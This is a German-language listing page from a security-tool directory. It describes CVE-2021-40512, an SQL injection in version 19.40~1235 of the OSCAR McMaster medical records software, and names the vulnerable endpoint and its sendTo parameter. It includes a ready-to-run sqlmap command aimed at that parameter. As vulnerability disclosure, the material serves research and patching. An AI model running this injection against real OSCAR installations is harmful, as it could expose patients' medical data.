Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-40512 — CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL-Injection-Schwachstelle. | Kitploit
Tools/GitHubGitHub/war4uthor/cve-2021-40512
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubwar4uthor/cve-2021-40512

CVE-2021-40512

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL-Injection-Schwachstelle.

Repository anzeigen
1vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL-Injection-Schwachstelle

Eine SQL-Injection-Schwachstelle existiert in Version 19.40~1235 von OSCAR McMaster. Ein böswilliger Angreifer kann SQL-Befehle an die MySQL/MariaDB-Datenbank über den anfälligen sendTo-Parameter ausgeben, der sich auf dem Endpunkt /oscar/oscarEncounter/ViewConsultation.do befindet.

[Placeholder for cve.mitre]

[Placeholder for nist]

Anfällige JSP-Seite:

ViewConsultation.do - sendTo-Parameter

Anfälliger Payload:

sqlmap -u "/oscar/oscarEncounter/ViewConsultation.do?sendTo=&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=" --cookie=<COOKIE> -p sendTo --banner

Entdeckt von Jack McBride, August 2021

Tool herunterladen